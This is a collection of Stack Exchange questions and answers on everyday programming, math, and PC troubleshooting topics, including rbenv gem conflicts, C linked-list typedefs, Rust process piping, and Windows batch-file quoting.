text:
Q: Rbenv and two versions of the Heroku client I've got a fairly pesky problem I can't seem to get to the bottom of. I just switched from rvm to rbenv, and now I'm having a problem with the Heroku client.
Basically, there's an old version of Heroku living somewhere in the system and rbenv is not aware of it, but it is overriding any newer version of the heroku client I install. This is a problem because I need the new version of the heroku cli to run cedar commands...
Here's and example from my shell of what's going on:
~  » gem uninstall heroku
INFO:  gem "heroku" is not installed
~  » which heroku
heroku: aliased to nocorrect heroku
~  » rbenv which heroku
rbenv: heroku: command not found
~  » gem install heroku
Fetching: heroku-2.17.0.gem (100%)
Successfully installed heroku-2.17.0
1 gem installed
~  » which heroku
heroku: aliased to nocorrect heroku
~  » heroku version
heroku-gem/1.12.1
~  » rbenv which heroku
/Users/Andrew/.rbenv/versions/1.9.2-p290/bin/heroku
~  » gem list heroku

*** LOCAL GEMS ***

heroku (2.17.0)
~  » heroku version
heroku-gem/1.12.1
~  »

I don't know where the old version of Heroku is, how to get rid of it, or (most importantly) why it is lingering in my system and overriding the rbenv-specific newer gem.
Any suggestions?

A: Well, it took me a while but I was able to track this down. It turns out that I had used the heroku gem a long time ago (before I was even using RVM), and while RVM had been hiding the old gem, RBENV did not. I found this using:
sudo find / -type d -name "*heroku*"

This revealed that I had some old gems living in the system ruby folder:
Library/Ruby/Gems/1.8/...

I cleaned out all the subfolders under that, and that fixed my problem.


text:
Q: Javafx disabled Node inherits DropShadow's color I have created an error effect, that I set on TextFields and animate it, if user inputs incorrect data values.
public class ErrorEffect extends DropShadow {

    private Timeline animation = new Timeline();

    public ErrorEffect() {
        setOffsetX(0);
        setOffsetY(0);
        setRadius(0);
        setColor(Color.RED);

        animation.getKeyFrames().addAll(
                new KeyFrame(Duration.ZERO, new KeyValue(radiusProperty(), 0)),
                new KeyFrame(new Duration(150), new KeyValue(radiusProperty(), 20)),
                new KeyFrame(new Duration(500), new KeyValue(radiusProperty(), 0)));
    }

    public Timeline getAnimation() {
        return animation;
    }
}

My problem is whenever TextField is disabled, it displays DropShadow's color. Normally red color cannot be seen since its radius is set to 0 and radius changes only during animation.

If I use a different effect like an InnerShadow this does not happen, disabled TextFields have default color and do not inherit InnerShadows color.
I want to make this work with a DropShadow, but I cannot understand why this even happen, but doesn't happen with InnerShaddow.

A: I have tried DVarga's solution, but I have got strange results.

I realized it was not a color issue, but rather an opacity one.
Googlin for similar opacity issues I came across this answer, its a quite different problem, but I still tried the solution and it worked:
https://stackoverflow.com/a/35712919/2821023
Seems like it is a bug and opacity gets applied twice. It was reported already, so there is a possibility it will get fixed someday. Also the answer explained why disabled components in ScrollPane are much lighter, see the picture above. There seems to be a lot of issues with disabled components in a javafx...
So, I solved my issue by setting opacity to 1 on my TextFields.
textField.setOpacity(1);

Edit:
Ok, I thought it was something with initialization, so setting opacity after component was initialized solved it.
However I tried setting opacity through fxml:
<TextField fx:id="groupTextField" promptText="Group" opacity="1" />

And it still works, I even get a warning saying:
Attribute is redundant because it contains default value

Can anyone explain what is going on here? How setting the same opacity value on the component it currently has could solve anything?

redpajama_set_name: RedPajamaStackExchange


text:
Q: UnRegister Hotkey from Other Process in delphi My Problem in Add Global Hotkey when the ShortCutkey is defined by other process.
e.g
in my delphi apps defind global key ShortCutkeys Ctrl+A and so Ctrl+A is Defind Global by Other process. when press ShortCutkey(Ctrl+A) then other process capture it and my app Can not capture ShortCutkey.
use this code to add global
  KeyID:= GlobalAddAtom('#SelectAll');
  RegisterHotKey(Handle, KeyID, MOD_CONTROL, Ord('A'));

A: You have correctly described the way global hotkeys work. You cannot change that. All you can do is mitigate the problem for your customers.
The RegisterHotKey function fails when the key combination you attempt to register is already used by something else. Take advantage of that behavior. Offer a way for users to customize the key combinations in your program, and when the user makes a selection, attempt to register it. If registration fails, then report the failure and prompt the user to select something else instead.
Global hotkeys are a shared resource. You need to make your program cooperate with others.


text:
Q: Reading lines backwards in bash unix I have a file that looks something like this:
abcdefghijklmn - [description]
abcdefg - [description]
efgkhtsf - [description]
  .
  .
  .

The list goes on, I need to write a script that reverses each line of the file so that I will have something like this:
[noitorecesd] - nmljkihgfedcba
  .
  .
  .

Is there a way of doing this? The [description]is the same for every line, they could be treated as the same characters.

A: Use tr and rev:
tr '][' '[]' < inputfile | rev

This doesn't require one to find characters in the input that do not exist in order to interchange [ and ].
For your sample input, it'd result in:
[noitpircsed] - nmlkjihgfedcba
[noitpircsed] - gfedcba
[noitpircsed] - fsthkgfe

A: rev is the tool. man rev says --> reverse lines of a file or files:
$ rev file
]noitpircsed[ - nmlkjihgfedcba
]noitpircsed[ - gfedcba
]noitpircsed[ - fsthkgfe

To have the brackets shown properly, replace [ with ] and the other way round:
$ rev file | sed -e 's/\[/XXX/g' -e 's/\]/[/g' -e 's/XXX/\]/g'
[noitpircsed] - nmlkjihgfedcba
[noitpircsed] - gfedcba
[noitpircsed] - fsthkgfe


text:
Q: Accessing .mdb or SQL databases using javascript in Firefox/Chrome I have been tasked with creating something that summarizes and displays information from a database (that is stored either in an SQL server or as an .mdb).  I cannot convince my company that we need to use an actual application for this, since I am apparently the only one  that understands Visual Basic or C#.  All of the other programmers know only HTML and Javascript, and since they're worried about making something that only one person can maintain (can't say I blame them, since I'm not looking forward to being the only person who can answer our customer's questions), these are the languages I'm limited to.
I've had a fair amount of success in creating ActiveX ADO objects for manipulating databases, but it's my understanding that this function won't work at all in browsers other than IE.  Since I'm absolutely sure that this will be their next demand of me, is anyone aware of any way to read databases (stored locally on the computer displaying the page, in a shared folder on the network, or in an SQL database on that network) in non-IE browsers?
I've found various plugins to allow these sorts of things; this might work as a last resort, but I'm really trying to avoid having to tell the customers that our app will only work if they install some random plugin.
Any ideas?

A: To open .mdb databases in JavaScript, you can use: AccessDB, it's a library to work with Access databases in JavaScript:
http://accessdb.sourceforge.net/
To fire queries at a SQL-server in your network, you could probably use: HTML5Sql: http://html5sql.com/
I haven't used the latter before though.

A: I was looking for a similar type of thing a while ago and also found the AccessDB JavaScript file.  From what I understand, it only works in Internet Explorer because of the way the ActiveX objects work, as you mentioned.  I would love this to work in Chrome but I have not yet been able to get it to work in Chrome.
That said, I used the js file to produce some applications that pulls data from the database very well.  I use Access to formulate the queries since the SQL is a little different. I've been able to do just about anything including crosstab queries and export the data to html tables with ease.


text:
Q: Certain 64bits causing error with my method Java I have a method which finds the index of all the set bits in a binary string. It works fine except when the bits are set near the end. Here is the code.
public static void main(String[] args) throws InterruptedException {
    indexSetBits(1101111100000000000000000000000000000000000000000000000000000000L);
}

public static ArrayList<Integer> indexSetBits(long bitboard) {

    ArrayList<Integer> indices = new ArrayList<>();

    int count = 0;
    while (bitboard > 0L) {
       if ((bitboard & 1L) == 1L) {
           indices.add(count);
       }
       bitboard >>= 1;
       count++;
    }
    return indices;
}

For some reason, when I pass in that 64 bit number as seen in my code, it gives the error: " Long number too large." Though i am sure what i am passing in is a 64 bit number. Is there any way to solve this?
Edit: It was pointed out that I was forgetting the "0b". Whoops!
Now that I remembered that, how would i make sure a method that returns a long, returns it in binary format, in other words how would i pass in a long without explicitly saying "0b".
For example I have this method which returns all the attack bits of a king as a long, and the logic with the bit mainuplation is fine within the actual method.
 public long[] calculateKingMoves(int square, long ownSideBitboard,long enemySide, long allPieces){

    /*
    [0, 0, 0, 0, 0, 0, 0, 0]
    [0, 0, 0, 0, 0, 0, 0, 0]
    [0, 0, 0, 0, 0, 0, 0, 0]
    [0, 0, 0, 1, 2, 3, 0, 0]
    [0, 0, 0, 8, x, 4, 0, 0]
    [0, 0, 0, 7, 6, 5, 0, 0]
    [0, 0, 0, 0, 0, 0, 0, 0]
    [0, 0, 0, 0, 0, 0, 0, 0]

     */

    //8 possible moves for a king from a given position, unless on a border, under check, or attempting to move into a piece that is
    // under the watch of another piece.
     long kingBitBoard =1L<< square;
     long kingAFile = kingBitBoard & Lookups.fileTables[0];
     long kingHFile = kingBitBoard & Lookups.fileTables[Lookups.fileTables.length-2];

     long move1 = kingAFile <<7;
     long move2 = kingBitBoard <<8;
     long move3 = kingHFile <<9;
     long move4 = kingHFile <<1;

     long move5 = kingHFile >> 7;
     long move6 = kingBitBoard >>8;
     long move7  = kingAFile >>9;
     long move8 = kingAFile >>1;

     long kingPsuedos = move1 | move2| move3| move4| move5| move6| move7| move8;

     long kingMoves = kingPsuedos & ~allPieces;
     long kingAttacks = kingPsuedos & enemySide;

    return new long[]{kingMoves,kingAttacks};

}

How would i make sure the two longs returned were in binary format? Instead of just normal longs?


text:
Q: Mathematical Induction Proofs I've really been struggling with mathematical induction. I've been trying to follow my book the best I can. I feel like my proofs are correct. But then again I have my doubts. If anyone can give me some insight on weather I am doing it correctly or not that would be awesome.

I don't want these answered for me I just want some good feedback.

A: Your base cases suffer from high-school-style mute writing. For example:

$\sum\limits_{i=1}^1 \left(i * i!\right) = \left(1+1\right)! - 1 = 1$
$1 = 1$

This should be something like

In this case, the claim we must prove is $\sum\limits_{i=1}^1 \left(i * i!\right) = \left(1+1\right)! - 1$.
But this is true, since it boils down to $1 = 1$.

Note the difference: The words explain what the formulas are for. The formulas in themselves aren't a complete argument, as you are reasoning backwards, so the first formula is not in itself obvious but rather follows from the second. (Even if you were reasoning forwards, it would help to insert a word or two.)
Critiquing some minor points:

*

*No one uses the $*$ sign for multiplication outside of ASCII-only environments. In LaTeX, use "\cdot" ($\cdot$).

*Proofs should start with "Proof." or a similar delineation. (This is, at least, standard since the 1950s or so.)

*Induction steps should start with "Induction step." or a similar delineation.

*"Since" starts a dependent clause, which cannot constitute a whole sentence by itself. Thus, "Since ... The result will be even" should be "Since ..., the result will be even".
In case of doubt, try to look through the eyes of a reader, and imagine the proofs are several times longer and there are many more of them. What changes would improve the reader's experience?
Mathematically, your proofs are correct.


text:
Q: Why isn't this command running properly? So I'm making a better command-line frontend for APT and I'm putting on some finishing touches and when the code below runs.
Command::new("unbuffer")
    .arg("apt")
    .arg("list")
    .arg("|")
    .arg("less")
    .arg("-r")
    .status()
    .expect("Something went wrong.");

it spits out:
E: Command line option 'r' [from -r] is not understood in combination with the other options.

but when I just run unbuffer apt list | less -r manually in my terminal it works perfectly. How do I get it to run properly when calling it in Rust?

A: Spawning a process via Command uses the system's native functionality to create a process. This is a low level feature and has little to do with your shell/terminal that you are used to. In particular, your shell (e.g. bash or zsh, running inside of your terminal) offers a lot more features. For example, piping via | is such a feature. Command does not support these features as the low level system's API doesn't.
Luckily, the low level interface offers other means of achieving a lot of stuff. Piping for example is mostly just redirecting the standard inputs and outputs. You can do that with Command::{stdin, stdout, sterr}. Please see this part of the documentation for more information.
There are a few very similar questions, which are not similar enough to warrent closing this as a dupe though:

*

*Execute a shell command

*Why does the compgen command work in the Linux terminal but not with process::Command?: mentions shell built-in commands that do not work with Command.

*Executing find using std::process::Command on cygwin does not work


text:
Q: How to check if sublists have same string elements regardless of order and place the sublist only once in another list I have a list courses_per_semester that looks like this:
[[['CS105', 'ENG101', 'MATH101', 'GER'], ['ENG102', 'CS230', 'MATH120', 'GER'], ['CS205', 'FREE'], ['GER'], ['CS106', 'CS215', 'CS107', 'ENG204'], ['GER', 'MATH220', 'CS300', 'CS206'], ['CS306', 'GER'], ['FREE'], ['CS312', 'CS450', 'GER', 'CS321', 'FREE'], ['CS325', 'GER', 'CS322', 'MAJOR'], ['CS310', 'STAT205'], [''], ['CS443', 'CS412', 'CS421', 'GER'], ['CS444', 'FREE', 'FREE', ''], ['', '']], [['CS105', 'ENG101', 'MATH101', 'GER'], ['ENG102', 'CS230', 'MATH120', 'GER'], ['CS205', 'FREE'], ['GER'], ['CS106', 'CS215', 'CS107', 'ENG204'], ['GER', 'MATH220', 'CS300', 'CS206'], ['CS306', 'GER'], ['FREE'], ['CS312', 'CS450', 'GER', 'CS321', 'FREE'], ['CS325', 'GER', 'CS322', 'MAJOR'], ['CS310', 'STAT205'], [''], ['CS443', 'CS412', 'CS421', 'GER'], ['CS444', 'FREE', 'FREE', ''], ['', '']], [['CS105', 'ENG101', 'MATH101', 'GER'], ['ENG102', 'CS230', 'MATH120', 'GER'], ['CS205', 'FREE'], ['GER'], ['CS106', 'CS215', 'CS107', 'ENG204'], ['GER', 'MATH220', 'CS300', 'CS206'], ['CS306', 'GER'], ['FREE'], ['CS312', 'CS450', 'GER', 'CS321', 'FREE'], ['CS325', 'GER', 'CS322', 'MAJOR'], ['CS310', 'STAT205'], [''], ['CS443', 'CS412', 'CS421', 'GER'], ['CS444', 'FREE', 'FREE', ''], ['', '']], [['CS105', 'ENG101', 'MATH101', 'GER'], ['ENG102', 'CS230', 'MATH120', 'GER'], ['CS205', 'FREE'], ['GER'], ['CS106', 'CS215', 'CS107', 'ENG204'], ['GER', 'MATH220', 'CS300', 'CS206'], ['CS306', 'GER'], ['FREE'], ['CS312', 'CS450', 'GER', 'CS321', 'FREE'], ['CS325', 'GER', 'CS322', 'MAJOR'], ['CS310', 'STAT205'], [''], ['CS443', 'CS412', 'CS421', 'GER'], ['CS444', 'FREE', 'FREE', ''], ['', '']], [['CS105', 'ENG101', 'GER', 'GER'], ['ENG102', 'CS230', 'MATH120', 'GER'], ['CS205', 'FREE'], ['GER'], ['CS106', 'CS215', 'CS107', 'ENG204'], ['GER', 'MATH220', 'CS300', 'CS206'], ['CS306', 'GER'], ['FREE'], ['CS312', 'CS450', 'GER', 'CS321', 'FREE'], ['CS325', 'GER', 'CS322', 'MAJOR'], ['CS310', 'STAT205'], [''], ['CS443', 'CS412', 'CS421', 'GER'], ['CS444', 'FREE', 'FREE', ''], ['', '']],...]

So each list is a course path till graduation that a student has taken and each sublist is the combination of courses each student has taken. I have 1500 students and I want to create a new list with all the unique combinations of each sublist. To be more precise I want to check if for example courses_per_semester[0][0] is same with courses_per_semester[1][0],courses_per_semester[2][0] ,...,courses_per_semester[1500][0]. Then do the same for second sublist of each list. Each time the code finds a unique sublist I want the combination to be put in a new list, for example the first_sublist_combinations. But the most important is that if one student has this combination ['CS105', 'ENG101', 'MATH101', 'GER']  and another student this one ['CS105', 'MATH101', 'GER','ENG101'] then I want the code to consider them the same. Not to place them as different. So I do not care for the order. So the first_sublist_combination will take ['CS105', 'ENG101', 'MATH101', 'GER'] only once and not ['CS105', 'ENG101', 'MATH101', 'GER'] AND ['CS105', 'MATH101', 'GER','ENG101']
I did not find a way to do so. I tried to do sets but sets only accept unique values and at some lists I have more than 1 empty items and it takes one the 1 which I cannot accept.
What I tried to do is the following:
for i in range(0,len(courses_per_semester)-1):
    for j in range(i,len(courses_per_semester[i])):
        if courses_per_semester[i][j]==courses_per_semester[i+1][j]:
             first_sublist_combinations.append(courses_per_semester[i][j])

but it does not work because probably I am not thinking about it in the correct way.
I also transformed the list into a set
course_sets_per_semester = [[set(courses_per_semester) for courses_per_semester in sublist] for sublist in courses_per_semester]

but like this it only gives me string once even if it is twice in a sublist so I cannot compare them correctly even if I wanted to because the length of one sublist becomes smaller than another one when they are supposed to be same.
For example the first_sublist_combinations =[['CS105', 'MATH101', 'GER','ENG101'],['CS105','MATH101','GER','GER'],..]

A: Assuming x is your input list:
res=list(map(lambda c: list(set(c)), zip(*map(lambda a: list(map(lambda b: tuple(sorted(b)), a)), x))))

which as per your example outputs:
[[('CS105', 'ENG101', 'GER', 'MATH101')], [('CS230', 'ENG102', 'GER', 'MATH120')], [('CS205', 'FREE')], [('GER',)], [('CS106', 'CS107', 'CS215', 'ENG204')], [('CS206', 'CS300', 'GER', 'MATH220')], [('CS306', 'GER')], [('FREE',)], [('CS312', 'CS321', 'CS450', 'FREE', 'GER')], [('CS322', 'CS325', 'GER', 'MAJOR')], [('CS310', 'STAT205')], [('',)], [('CS412', 'CS421', 'CS443', 'GER')], [('', 'CS444', 'FREE', 'FREE')], [('', '')]]


text:
Q: Exception in thread "main" while trying to compare two xml's using XML Unit  package util;
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.IOException;
 import java.io.InputStreamReader;
 import java.io.Reader;
 import java.util.ArrayList;
 import java.util.List;

 import org.custommonkey.xmlunit.DetailedDiff;
 import org.custommonkey.xmlunit.Diff;
 import org.custommonkey.xmlunit.Difference;
 import org.custommonkey.xmlunit.XMLUnit;
 import org.xml.sax.SAXException;

 /** * * Java program to compare two XML files using XMLUnit example * @author Javin Paul */
 public class XMLComparator { public static void main(String args[]) throws
   FileNotFoundException, SAXException, IOException
 { // reading two xml file to compare in Java program
  FileInputStream fis1 = new
  FileInputStream("C:\\Users\\akshay_gawand\\Desktop\\8.3\\Transfer\\testcasemcs6.0");
    FileInputStream fis2 = new
   FileInputStream("C:\\Users\\akshay_gawand\\Desktop\\8.3\\Transfer\\testcasemcs7.0");

  BufferedReader source = new BufferedReader(new InputStreamReader(fis1));
    BufferedReader target = new BufferedReader(new InputStreamReader(fis2)); //configuring
     XMLUnit to ignore white spaces
    XMLUnit.setIgnoreWhitespace(true); //comparing two XML using XMLUnit in Java
     List differences = compareXML(source, target); //showing differences found in two xml
      files
     printDifferences((List) differences);
      }
     public static List compareXML(Reader source, Reader target) throws SAXException,
      IOException
      { //creating Diff instance to compare two XML files
        Diff xmlDiff = new Diff(source, target); //for getting detailed differences between
      two xml files
     DetailedDiff detailXmlDiff = new DetailedDiff(xmlDiff);
          return detailXmlDiff.getAllDifferences();
            }
       public static void printDifferences(List<String> differences)
       {
           int totalDifferences = differences.size();
         System.out.println("===============================");
        System.out.println("Total differences : " + totalDifferences);
         System.out.println("================================");

        for(String difference : differences)
       {
         System.out.println(difference );
          }
         }
         }

Above is the code I used,Please help me
I was trying to compare two XMLS file using XML unit, but getting below exception
Exception in thread "main" Total differences : 23
Error trace:
java.lang.ClassCastException: class org.custommonkey.xmlunit.Difference cannot be cast to class java.lang.String (org.custommonkey.xmlunit.Difference is in unnamed module of loader 'app'; java.lang.String is in module java.base of loader 'bootstrap')
    at util.XMLComparator.printDifferences(XMLComparator.java:42)
    at util.XMLComparator.main(XMLComparator.java:27)

A:
Exception in thread "main" while trying to compare two xml's using XML Unit

The error occurs in this line.
printDifferences((List) differences);

What objects are located in the object called differences ? These are some XML Unit classes. Its likely to look like List<XmlUnitClass> and what does the method expect as input ? A list of strings !
So you need to massage your code a bit, like this ...
 List differences = compareXML(source, target); //showing differences found in two xml
      files
 List<String> diffStrings = new ArrayList<String>()
  for(var diff: differences) {
       diffStrings.add(diff.toString())
  }
     printDifferences((List) diffStrings);

Then, everything will work.
Does this solve your problem ? Tell me in the comments.


text:
Q: width of div inside of li does not align I have a ul whose li's each contain 8 div's which should all be the same width.
In my CSS, I've defined the width as a calculated percentage.
#csaReportBody div{
    display:inline-block;
    width:calc( 100% / 8.45 );
    padding:1px;
    font-size:.8em;
    height:19px;
    border-left:1pt solid red;  /* added to see where the columns were */
}

The weird thing, is that even though the browser "thinks" they are the same width, they don't display that way. For example:

You can see in the picture when I hover over the div, it gives me the exact same measurement for each one (132.52 x 21 - they all show the same), yet the bottom row is slightly narrower on each of the 8 divs in a li row.
the complete HTML looks like this:

#csaReportBody {
  list-style: none;
  padding: 0;
  width: 100%;
}

#csaReportBody li:first-child {
  border-bottom: 1pt solid #ccc;
}

#csaReportBody li:nth-child(2n+2) {
  background: #fff;
}

#csaReportBody div {
  display: inline-block;
  width: calc( 100% / 8.45);
  padding: 1px;
  font-size: .8em;
  height: 19px;
  border-left: 1pt solid red;
}

ID

Aggl.1

Total Motility %

Volume (mL)

Concentration (M/mL)

Total Sperm Dose (billions)

Intact Acrosomes - Viable %, Flow Cytometry

Target <input type="checkbox" id="csaShowTarget">

G005-166-850

Mild

85

68.8

46.75

3.22

NR

NP

G005-166-854

Mild

92

71.2

51.50

3.67

NR

NP

G005-166-852

Mild

91

68.2

54.25

3.70

NR

NP

G005-166-853

Mild

93

69.1

44.50

3.07

NR

NP

G005-166-851

Mild

86

67.6

50.75

3.43

NR

NP

MEAN

89

69.0

49.55

3.42

-

-

The data is generated, and once it is displayed, the "MEAN" line is calculated and appended to the ul.
My question is: If the first column is properly left aligned, and all the div's are the same width, why don't they align?

A: It would help a lot if you showed ALL of the css for your classes, because that's where the problem is happening. But because you haven't done that (yet), the following tips might help you to debug it:

*

*First, in the spirit of making it cleaner, it would make much more sense to use the
 tag for all this, then add rows and columns, instead of
 elements inside
 elements to do the same thing. The first reason why is because it's more semantic. A second reason why is because by default, a
 is a block element, so you have to display: inline-block;, or inline  as you did, for it to not show up wonky. Nevertheless, let's say you need it like that for some reason.

*With the above in mind, your first row inherits from the id csaTitle. After that, each of your rows inherits from the class csaData, and all of these so far are aligned properly. But your last row inherits from the class csaMean.
Judging by what you've shown so far, my best bet is that your problem lies in that class.


text:
Q: Doom blue screen of death (BSOD) Recently I have bought Doom and I tried the Multiplayer. Sometimes I have issues with connection, but that's not the case.
After playing one or two rounds, then the game crashes to Desktop and after this, a Blue Screen of Death appears to the screen, which says something about IRQL_NOT_LESS_OR_EQUAL.
I have to say that I've played the Beta without any problems.
My PC has Windows 10, with a Nvidia GTX 770 and the CPU is an AMD FX8350, so the game should run fine.

A: Since I updated the Nvidia drivers (the version 368.22, which I installed yesterday) no more bluescreens where shown, so I think that the problem is solved.


text:
Q: Recurrence Relation and Power Set Cardinality. Need help understanding book's solution. I'm having trouble understanding the solution to this question from chapter 3 of the book "Essentials of Discrete Mathematics".
I just can't seem to see the relation between the mutually exclusive cases and the argument that $\mathcal{P}(X)$ has twice as many elements as $\mathcal{P}(X').$

$\mathbf{Example\; 3.5\;}$ Let $X$ be a finite set with $n$ elements. Find a recurrence relation $C(n)$ for the number of elements in the power set $\mathcal{P}(X)$.
$Solution:$ The base case is when $n = 0$ and $X$ is the empty set, in which case $\mathcal{P}(X) = \{\emptyset\}$, so $C(0) = 1.$ Now suppose $|X| = n$ for some $n > 0.$ Choose some element $x\in X$ and let $X' = X\;\backslash\;\{x\}.$ Then $X'$ has $n-1$ elements, so $|\mathcal{P}(X')|=C(n - 1).$ Furthermore, every subset of $X$ is either a subset of $X'$, or a subset of the form $U\cup\{x\}$, where $U \subseteq X'$, and these two cases are mutually exclusive. Therefore $\mathcal{P}(X)$ has twice as many elements as $\mathcal{P}(X').$ So
  $$
C(n) =
\begin{cases}
1              & \text{ if $n = 0$ } \\
2 \cdot C(n-1) & \text{ if $n>0$}
\end{cases}
$$

A: Every subset of X' is still a subset of X, so P(X) contains all the sets in P(X'). However, to each of these sets you can also add the element x, and the resulting sets will also be subsets of X, i.e. be in P(X), but are of course not in P(X'). So, you have twice as many subsets of X than of X'.
Example: suppose $X=\{1,2,3\}$ and we take out $3$, so $X' =\{1,2\}$
The subsets of X' are:
$\{\}$
$\{1\}$
$\{2\}$
$\{1,2\}$
These are all subsets of $X$ as well, but we can also add $3$ to each of them:
$\{3 \}$
$\{1,3\}$
$\{2,3\}$
$\{1,2,3\}$
So, exactly twice as many!


text:
Q: Bootstrapping the Granger Wald Test? I created full example code that conducts a Granger causality Wald test for the Chicken & Egg dataset:
library(lmtest)
library(aom)

#Load data
data(ChickEgg)
data = data.frame(ChickEgg)
data
# sample=54 data points, which is rather low.

# plot time series
par(mfrow=c(2,1))
plot.ts(data$chicken)
plot.ts(data$egg)

# For simplicity of the example, we don't check stationarity and assume stationarity I(0)
# Also, we assume the optimum lag length of the bivariate VAR to be 2

# Conduct Granger causality Wald test
VAR <- VAR(data,p=2)

# chicken ~ egg
wald.test(b=coef(VAR$varresult[[1]]), Sigma=vcov(VAR$varresult[[1]]), Terms=c(seq(2, by=2, length=2)))
# Could be rejected at 1%, p=0.00015

# egg ~ chicken
wald.test(b=coef(VAR$varresult[[2]]), Sigma=vcov(VAR$varresult[[2]]), Terms=c(seq(1, by=2, length=2)))
# Could not be rejected at 1%, p=0.41

# Results indicate that chicken Granger cause eggs.

This works.
Now comes the main question. As the sample size is rather small (n=54), I want to conduct a bootstrap test for the p-values.
I got following working for a simple regression:
library(boot)

# Test Original Regression
summary(lm(chicken~egg, data=data[1:53,]))$r.square

# function to obtain R-Squared from the data
rsq <- function(formula, data, indices){
  d <- data[indices,] # allows boot to select sample
  fit <- lm(formula, data=d)
  return(summary(fit)$r.square)
}

# bootstrapping with 1000 replications
results <- boot(data=data, statistic=rsq, R=1000, formula=chicken~egg)

# view results
results
plot(results)

# get 95% confidence interval
boot.ci(results, type="bca")

Can anyone help me replacing it with the Wald test? And: How do I interpret the results?


text:
Q: Add default value from selection  working on my first plugin where a user can select an option from a dropdown and this selection gets saved in a code that gets written into the footer. That works, but the problem is, my default selection (as in the HTML) gets ignored.
The selection
<select id="location_select" name="location_select">
    <option selected value="ch" <?php selected(get_option('location_select'), 'ch'); ?>><?php _e('CH', 'pluginName') ; ?></option>
    <option value="de" <?php selected(get_option('location_select'), 'de'); ?>><?php _e('DE', 'pluginName') ; ?></option>
</select>

The code
public function print_code(){
    $location   =   get_option('location_select');
    $url        =   'https://' . esc_html($location) . '.domain.com/js/script.js';
    wp_enqueue_script('myID', $url, array('jquery'), null, true);
}

public function additional_attrs($tag, $handle, $src){
    if ($handle === 'myID'){
        $tag = '<script data-host="https://domain.com" data-dnt="false" src="' . esc_url( $src ) . '" id="myID" async defer></script>';
    }
    return $tag;
}

How is it possible to have the first selection <option selected ...  as a default selection in the code? Because right now, if a user does not save his selection, nothing gets written in the output code.
Thanks for any help!

A: Solved by updating the second value in get_option like
$location   =   get_option('location_select', 'ch');

Codex Reference:
https://developer.wordpress.org/reference/functions/get_option


text:
Q: Retrieving Items from DIV - JS I am able to fetch data from database and append to my panel as in my code. But the problem is on page load for instance,
This is what happens
name   cost   sub-total  qty  pts
Books  12.00      120    10    2

Pencil 5.00       120     2    2

What i expect
   name   cost   sub-total  qty  pts
    Books  12.00      120    10   2

    Pencil 5.00       10     2    2

What happens is, the subtotal for the first item shows the same for the second item and this only happens when i include Function() in the document load function.   I don't seem to know why this is happening ?
PS:  Sorry for my bad english that is why i try to explain using examples


text:
Q: How to start games in Steam running on Wine? I understand that not all games will be compatible with Wine, but how do I start a game in Steam while running Steam on wine? Do i just press play?

A: If a Steam game is able to run with Wine, and you're running the Windows version of Steam with Wine, then yes, double-clicking on the game in your game library or pressing Play will (attempt to) run the game with Wine.
This is really an instance of a more general question: What happens when a Windows program running with Wine tries to launch another Windows program; does Wine try to run that, too?
The answer is yes. Wine supports the parts of the Windows API that Windows programs use to launch new processes.
With that said, it is possible that you could have some Windows Steam game that only sort of works with Wine on Ubuntu and requires special steps to launch. In that case, you might have to do something different from just launching the game in your Steam games library. But what you'd have to do would be particular to the specific problems running the game. In general, to run a Windows Steam game from the Windows version of Steam in Wine, clicking Play is the way to do it.


text:
Q: Typedef's and nodes This code is supposed to build a simple linked list containing integers from 0 to 20. I keep getting the error: unknown type name 'node' when I compile my code for what seems every instance of node in the program. I'm not sure if I have to define them or there is a bigger flaw in the code.
#include<stdio.h>
#include<stdlib.h>

int main()  {
    int i;
    struct node *first=NULL;
    for(i=1;i<=20;i++)
        first=insertrear(first,i);
    dispnodes(first);
    sum(first);

return 0;
}
typedef struct node {
    int data;
    struct node *link;
};

 node* getnode(node *temp,int i) {
    temp=(node*)malloc(sizeof(node));
    temp->data=i;
    temp->link=NULL;
    return temp;
}
node* insertrear(node *first,int a) {
    node *temp=NULL,*i;
    temp= getnode(temp,a);
    if(first==NULL) {
        first=temp;
        return first;
    }

    for(i=first;i->link!=NULL;i=i->link);
        i->link=temp;
        return first;
}

void dispnodes(node *first) {
    int j;
    if(first==NULL) {
        printf("\nlist empty");
        return;
    }
    node *i;
    for(i=first,j=0;i!=NULL;j++,i=i->link)
        printf("\nNode #%d contains %d  ",j,i->data);
}

void sum(node *first)   {
    node *i;
    int total=0;
    for(i=first;i!=NULL;i=i->link)
        total+=i->data;
    printf("\nThe sum total of all nodes in this list is %d",total);
}

A: You either need to specify a label for the typedef struct node or not typedef the struct node.
The way you are using it, you can do following.
/* Forward declare typedef _node to node */
typedef struct node_ node;

/* Define struct node_ */
struct node_ {
    int data;
    node *link;
};

You should have the forward declaration above your main(), so that you can use it there as well.

A: typedef struct node {
    int data;
    struct node *link;
}node;

int main()  {
    int i;
    struct node *first=NULL;
    for(i=1;i<=20;i++)
        first=insertrear(first,i);
    dispnodes(first);
    sum(first);

return 0;
}

A: There are two things you have to modify:

*

*you have to declare the the struct ,typedef and all the functions  you are calling before main function.Compiler should be provided with the declaration before it encounters any of them.

*Also you haven't provided a label to the typedef to structure node,you can do  something like this:
typedef struct node {
    int data;
    struct node *link;
} Node ;

or use struct node instead of node to declare a variable of struct node type
Here is the code after modification:
typedef struct node
{
  int data;
  struct node *link;
} Node ;

void dispnodes(Node *first);
node* insertrear(Node *first,int a);
void sum(Node *first);

int main()  {
    int i;
    struct node *first=NULL;
    for(i=1;i<=20;i++)
        first=insertrear(first,i);
    dispnodes(first);
    sum(first);

    return 0;
}
// rest of the code


text:
Q: Batch file Error : "Files was unexpected at this time." I am getting the below error when I pass path as my 2nd argument. It looks like problem is with the space.
Files was unexpected at this time
I am executing the batch file with following parameters
services.cmd 2 "C:\Program Files (x86)\folder\Folder\folder\Bin" corp\acct password
CODE:
@echo off

if "%1" == "" goto PARAMS
if "%2" == "" goto PARAMS
if "%3" == "" goto PARAMS
if "%4" == "" goto PARAMS

sc create "<service name>"%1 binpath= "\%2\xxx.exe\" \"xxx.exe.config\""
rem sc config "<service name>"%1 displayname= "<display name>"%1 obj= %3 password= %4 start= auto description= "Runs the service."

goto END

:PARAMS

echo Usage CreateServices.cmd binfoldername binfolderpath username password

:END

A: You cannot escape quotes within a quoted string. Use %~2 to get rid of the unwanted quotes from a parameter.
Try the following:
sc create "<service name>%~1" binpath= "%~2\xxx.exe" "xxx.exe.config"

A: As well as Dave's comment, you need tildas in these lines
if "%~1" == "" goto PARAMS
if "%~2" == "" goto PARAMS
if "%~3" == "" goto PARAMS
